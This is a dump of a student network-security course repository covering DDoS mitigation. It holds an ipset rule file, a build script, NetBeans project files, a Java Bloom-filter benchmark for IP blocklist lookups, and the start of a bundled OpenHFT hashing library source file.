255){
41 | three =0;
42 | two ++;
43 | }
44 | }
45 | }
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | fclose(fOut);
54 |
55 |
56 | return(0);
57 | }
58 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 2/fileRuleIpset:
--------------------------------------------------------------------------------
1 | create myset hash:ip family inet hashsize 1024 maxelem 65536
2 | add myset 1.2.3.1
3 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 2/runIPSet.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | echo
5 | sudo gcc -o tmpProgram4748549 RandomIPSetGeneretor.c -lpcap
6 | sudo ./tmpProgram4748549
7 | sudo rm tmpProgram4748549
8 | #sudo chmod 777 fileRule2
9 |
10 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Builds, tests, and runs the project BloomFilter.
12 |
13 |
73 |
74 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/.netbeans_automatic_build:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/.netbeans_automatic_build
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/.netbeans_update_resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/.netbeans_update_resources
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/bloomfilter/BloomFilter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/bloomfilter/BloomFilter.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/Access.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/Access.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/ByteBufferAccess.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/ByteBufferAccess.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$1.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$BigEndianCharSequenceAccess.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$BigEndianCharSequenceAccess.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$LittleEndianCharSequenceAccess.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess$LittleEndianCharSequenceAccess.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CharSequenceAccess.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$1.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$2.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$3.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$4.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$4.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$5.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$5.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$AsLongHashFunction.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$AsLongHashFunction.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$AsLongHashFunctionSeeded.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$AsLongHashFunctionSeeded.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$BigEndian.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$BigEndian.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$Na.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$Na.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$NaSeeded.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$NaSeeded.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$Uo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$Uo.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$UoSeeded.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$UoSeeded.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$UoWithOneSeed.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1$UoWithOneSeed.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/CityAndFarmHash_1_1.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/HotSpotPrior7u6StringHash.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/HotSpotPrior7u6StringHash.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/LongHashFunction.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/LongHashFunction.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/ModernHotSpotStringHash.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/ModernHotSpotStringHash.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$1.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$2.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$3.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$AsLongHashFunction.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$AsLongHashFunction.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$AsLongHashFunctionSeeded.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$AsLongHashFunctionSeeded.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$BigEndian.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3$BigEndian.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/MurmurHash_3.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/Primitives.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/Primitives.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/StringHash.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/StringHash.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/UnknownJvmStringHash.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/UnknownJvmStringHash.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/UnsafeAccess.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/UnsafeAccess.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$1.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$2.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$3.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$AsLongHashFunction.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$AsLongHashFunction.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$AsLongHashFunctionSeeded.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$AsLongHashFunctionSeeded.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$BigEndian.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash$BigEndian.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 3/BloomFilter/build/classes/net/openhft/hashing/XxHash.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/manifest.mf:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | X-COMMENT: Main-Class will be added automatically by build
3 |
4 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/nbproject/genfiles.properties:
--------------------------------------------------------------------------------
1 | build.xml.data.CRC32=9b0c38f6
2 | build.xml.script.CRC32=6cda27f0
3 | build.xml.stylesheet.CRC32=8064a381@1.80.1.48
4 | # This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml.
5 | # Do not edit this file. You may delete it but then the IDE will never regenerate such files for you.
6 | nbproject/build-impl.xml.data.CRC32=9b0c38f6
7 | nbproject/build-impl.xml.script.CRC32=c082dfd5
8 | nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48
9 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/nbproject/private/private.properties:
--------------------------------------------------------------------------------
1 | compile.on.save=true
2 | user.properties.file=C:\\Users\\Thinkpad\\AppData\\Roaming\\NetBeans\\8.2\\build.properties
3 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/nbproject/private/private.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | file:/C:/Users/Thinkpad/Desktop/University/Advanced%20Network%20Security/shareFolder/Week4-DDOS/BloomFilter/src/bloomfilter/BloomFilter.java
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/nbproject/project.properties:
--------------------------------------------------------------------------------
1 | annotation.processing.enabled=true
2 | annotation.processing.enabled.in.editor=false
3 | annotation.processing.processor.options=
4 | annotation.processing.processors.list=
5 | annotation.processing.run.all.processors=true
6 | annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output
7 | build.classes.dir=${build.dir}/classes
8 | build.classes.excludes=**/*.java,**/*.form
9 | # This directory is removed when the project is cleaned:
10 | build.dir=build
11 | build.generated.dir=${build.dir}/generated
12 | build.generated.sources.dir=${build.dir}/generated-sources
13 | # Only compile against the classpath explicitly listed here:
14 | build.sysclasspath=ignore
15 | build.test.classes.dir=${build.dir}/test/classes
16 | build.test.results.dir=${build.dir}/test/results
17 | # Uncomment to specify the preferred debugger connection transport:
18 | #debug.transport=dt_socket
19 | debug.classpath=\
20 | ${run.classpath}
21 | debug.test.classpath=\
22 | ${run.test.classpath}
23 | # Files in build.classes.dir which should be excluded from distribution jar
24 | dist.archive.excludes=
25 | # This directory is removed when the project is cleaned:
26 | dist.dir=dist
27 | dist.jar=${dist.dir}/BloomFilter.jar
28 | dist.javadoc.dir=${dist.dir}/javadoc
29 | excludes=
30 | includes=**
31 | jar.compress=false
32 | javac.classpath=
33 | # Space-separated list of extra javac options
34 | javac.compilerargs=
35 | javac.deprecation=false
36 | javac.external.vm=true
37 | javac.processorpath=\
38 | ${javac.classpath}
39 | javac.source=1.8
40 | javac.target=1.8
41 | javac.test.classpath=\
42 | ${javac.classpath}:\
43 | ${build.classes.dir}
44 | javac.test.processorpath=\
45 | ${javac.test.classpath}
46 | javadoc.additionalparam=
47 | javadoc.author=false
48 | javadoc.encoding=${source.encoding}
49 | javadoc.noindex=false
50 | javadoc.nonavbar=false
51 | javadoc.notree=false
52 | javadoc.private=false
53 | javadoc.splitindex=true
54 | javadoc.use=true
55 | javadoc.version=false
56 | javadoc.windowtitle=
57 | main.class=bloomfilter.BloomFilter
58 | manifest.file=manifest.mf
59 | meta.inf.dir=${src.dir}/META-INF
60 | mkdist.disabled=false
61 | platform.active=default_platform
62 | run.classpath=\
63 | ${javac.classpath}:\
64 | ${build.classes.dir}
65 | # Space-separated list of JVM arguments used when running the project.
66 | # You may also define separate properties like run-sys-prop.name=value instead of -Dname=value.
67 | # To set system properties for unit tests define test-sys-prop.name=value:
68 | run.jvmargs=
69 | run.test.classpath=\
70 | ${javac.test.classpath}:\
71 | ${build.test.classes.dir}
72 | source.encoding=UTF-8
73 | src.dir=src
74 | test.src.dir=test
75 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/nbproject/project.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | org.netbeans.modules.java.j2seproject
4 |
5 |
6 | BloomFilter
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/bloomfilter/BloomFilter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Develped by Umeer Mohammad St.N.:4748549
3 | * Library Used : https://github.com/OpenHFT/Zero-Allocation-Hashing
4 | *
5 | */
6 | package bloomfilter;
7 |
8 | import java.util.BitSet;
9 | import net.openhft.hashing.LongHashFunction;
10 | /*
11 |
12 | To test the performance of the Boom Filter I created a small program with java able to simulate the filter. The result of the test where very interesting, due to the way of how the filter works there is no performance degradation associated with number IP address stored, hence the timing for all the tests were similar. The performance of filtration is amazing, just 25 microseconds (AVG) per IP lookup.
13 |
14 | */
15 |
16 | public class BloomFilter {
17 |
18 | public static void main(String[] args) {
19 |
20 | int M = 175000000; //Dimension of the bloom filter
21 | int K = 30; //Number of different hash functions
22 | long MAX_SIZE = 2000000; //Max number of Ip that will be stored (from 0 to 2M with step of 100'000)
23 | int NUMBER_OR_READING_TEST = 100; //Number of reading before calulate the average (stay less the 255 because it is used also to buid the ip)
24 | long lStartTime, lEndTime, diffTime;
25 | int one = 0, two = 0, three = 0;
26 |
27 | System.out.println("Umeer Mohammad St.N.:4748549");
28 |
29 | //Database creation
30 | BitSet bitset = new BitSet(M);
31 | lStartTime = System.nanoTime();
32 | for (long i = 0; i < MAX_SIZE; i++) {
33 | for (int seed = 0; seed < K; seed++) {
34 | bitset.set(Math.toIntExact(Math.abs(LongHashFunction.xx(seed).hashChars("1." + one + "." + two + "." + three)) % M));
35 | }
36 | three++;
37 | if (three > 255) {
38 | two++;
39 | three = 0;
40 | if (two > 255) {
41 | one++;
42 | two = 0;
43 | }
44 | }
45 | }
46 | lEndTime = System.nanoTime();
47 | diffTime = lEndTime - lStartTime;
48 | System.out.println("Initializzation Time: " + diffTime / 1000000 + " ms");
49 |
50 |
51 |
52 |
53 |
54 | //Fetch system
55 | long avgTime = 0;
56 | for (int j = 0; j < NUMBER_OR_READING_TEST; j++) {
57 | String ipToFind = "1.1.1." + j;
58 | int counterFound = 0;
59 |
60 | lStartTime = System.nanoTime();
61 |
62 | for (int seed = 0; seed < K; seed++) {
63 | if (bitset.get(Math.toIntExact(Math.abs(LongHashFunction.xx(seed).hashChars(ipToFind)) % M))) {
64 | counterFound++;
65 | }
66 | }
67 |
68 | // if(counterFound == K){
69 | // System.out.println("Ip: "+ ipToFind + " found");
70 | // }else{
71 | // System.out.println("Ip: "+ ipToFind + " not found K= "+counterFound);
72 | // }
73 | lEndTime = System.nanoTime();
74 | diffTime = lEndTime - lStartTime;
75 | System.out.println("Search Time: " + diffTime / 1000 + " us");
76 | avgTime = avgTime + diffTime;
77 | }
78 |
79 | System.out.println("Search AVG Time: " + avgTime / NUMBER_OR_READING_TEST / 1000 + " us");
80 |
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/Access.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import java.nio.ByteBuffer;
20 | import java.nio.ByteOrder;
21 |
22 | import static java.nio.ByteOrder.LITTLE_ENDIAN;
23 |
24 | /**
25 | * Strategy of reading bytes, defines the abstraction of {@code T} class instances as ordered byte
26 | * sequence. All {@code getXXX(input, offset)} should be consistent to each other in terms of
27 | * ordered byte sequence each {@code T} instance represents. For example, if some {@code
28 | * Access} implementation returns {@link ByteOrder#LITTLE_ENDIAN} on {@link #byteOrder(Object)
29 | * byteOrder(input)} call, the following expressions should always have the same value:
30 | *
31 | * {@code getLong(input, 0)}
32 | * {@code getUnsignedInt(input, 0) | (getUnsignedInt(input, 4) << 32)}
33 | * {@code getUnsignedInt(input, 0) |
34 | * ((long) getUnsignedShort(input, 4) << 32) |
35 | * ((long) getUnsignedByte(input, 6) << 48) |
36 | * ((long) getUnsignedByte(input, 7) << 56)}
37 | * And so on
38 | *
39 | *
40 | * {@code getXXX(input, offset)} methods could throw unchecked exceptions when requested bytes
41 | * range is outside of the bounds of the byte sequence, represented by the given {@code input}.
42 | * However, they could omit checks for better performance.
43 | *
44 | *
Only {@link #getByte(Object, long)} and {@link #byteOrder(Object)} methods are abstract in
45 | * this class, so implementing them is sufficient for valid {@code Access} instance, but for
46 | * efficiency your should override methods used by target {@link LongHashFunction} implementation.
47 | *
48 | *
{@code Access} API is designed for inputs, that actually represent byte sequences that lay
49 | * continuously in memory. Theoretically {@code Access} strategy could be implemented for
50 | * non-continuous byte sequences, or abstractions which aren't actually present in memory as they
51 | * are accessed, but this should be awkward, and hashing using such {@code Access} is expected to
52 | * be slow.
53 | *
54 | * @param the type of the object to access
55 | * @see LongHashFunction#hash(Object, Access, long, long)
56 | */
57 | public abstract class Access {
58 |
59 | /**
60 | * Returns the {@code Access} delegating {@code getXXX(input, offset)} methods to {@code
61 | * sun.misc.Unsafe.getXXX(input, offset)}.
62 | *
63 | * Usage example:
{@code
64 | * class Pair {
65 | * long first, second;
66 | *
67 | * static final long pairDataOffset =
68 | * theUnsafe.objectFieldOffset(Pair.class.getDeclaredField("first"));
69 | *
70 | * static long hashPair(Pair pair, LongHashFunction hashFunction) {
71 | * return hashFunction.hash(pair, Access.unsafe(), pairDataOffset, 16L);
72 | * }
73 | * }}
74 | *
75 | * {@code null} is a valid input, on accepting {@code null} {@code Unsafe} just interprets
76 | * the given offset as a wild memory address. Note that for hashing memory by address there is
77 | * a shortcut {@link LongHashFunction#hashMemory(long, long) hashMemory(address, len)} method.
78 | *
79 | * @param the type of objects to access
80 | * @return the unsafe memory {@code Access}
81 | */
82 | public static Access unsafe() {
83 | return (Access) UnsafeAccess.INSTANCE;
84 | }
85 |
86 | /**
87 | * Returns the {@code Access} to any {@link ByteBuffer}. This {@code Access} isn't useful in
88 | * the user code, because methods {@link LongHashFunction#hashBytes(ByteBuffer)} and
89 | * {@link LongHashFunction#hashBytes(ByteBuffer, int, int)} exist. This {@code Access} could be
90 | * used in new {@link LongHashFunction} implementations.
91 | *
92 | * @return the {@code Access} to {@link ByteBuffer}s
93 | */
94 | public static Access toByteBuffer() {
95 | return ByteBufferAccess.INSTANCE;
96 | }
97 |
98 | /**
99 | * Returns the {@code Access} to {@link CharSequence}s backed by {@linkplain
100 | * ByteOrder#nativeOrder() native} {@code char} reads, typically from {@code char[]} array.
101 | *
102 | * Usage example:
{@code
103 | * static long hashStringBuffer(StringBuffer buffer, LongHashFunction hashFunction) {
104 | * return hashFunction.hash(buffer, Access.toNativeCharSequence(),
105 | * // * 2L because length is passed in bytes, not chars
106 | * 0L, buffer.length() * 2L);
107 | * }}
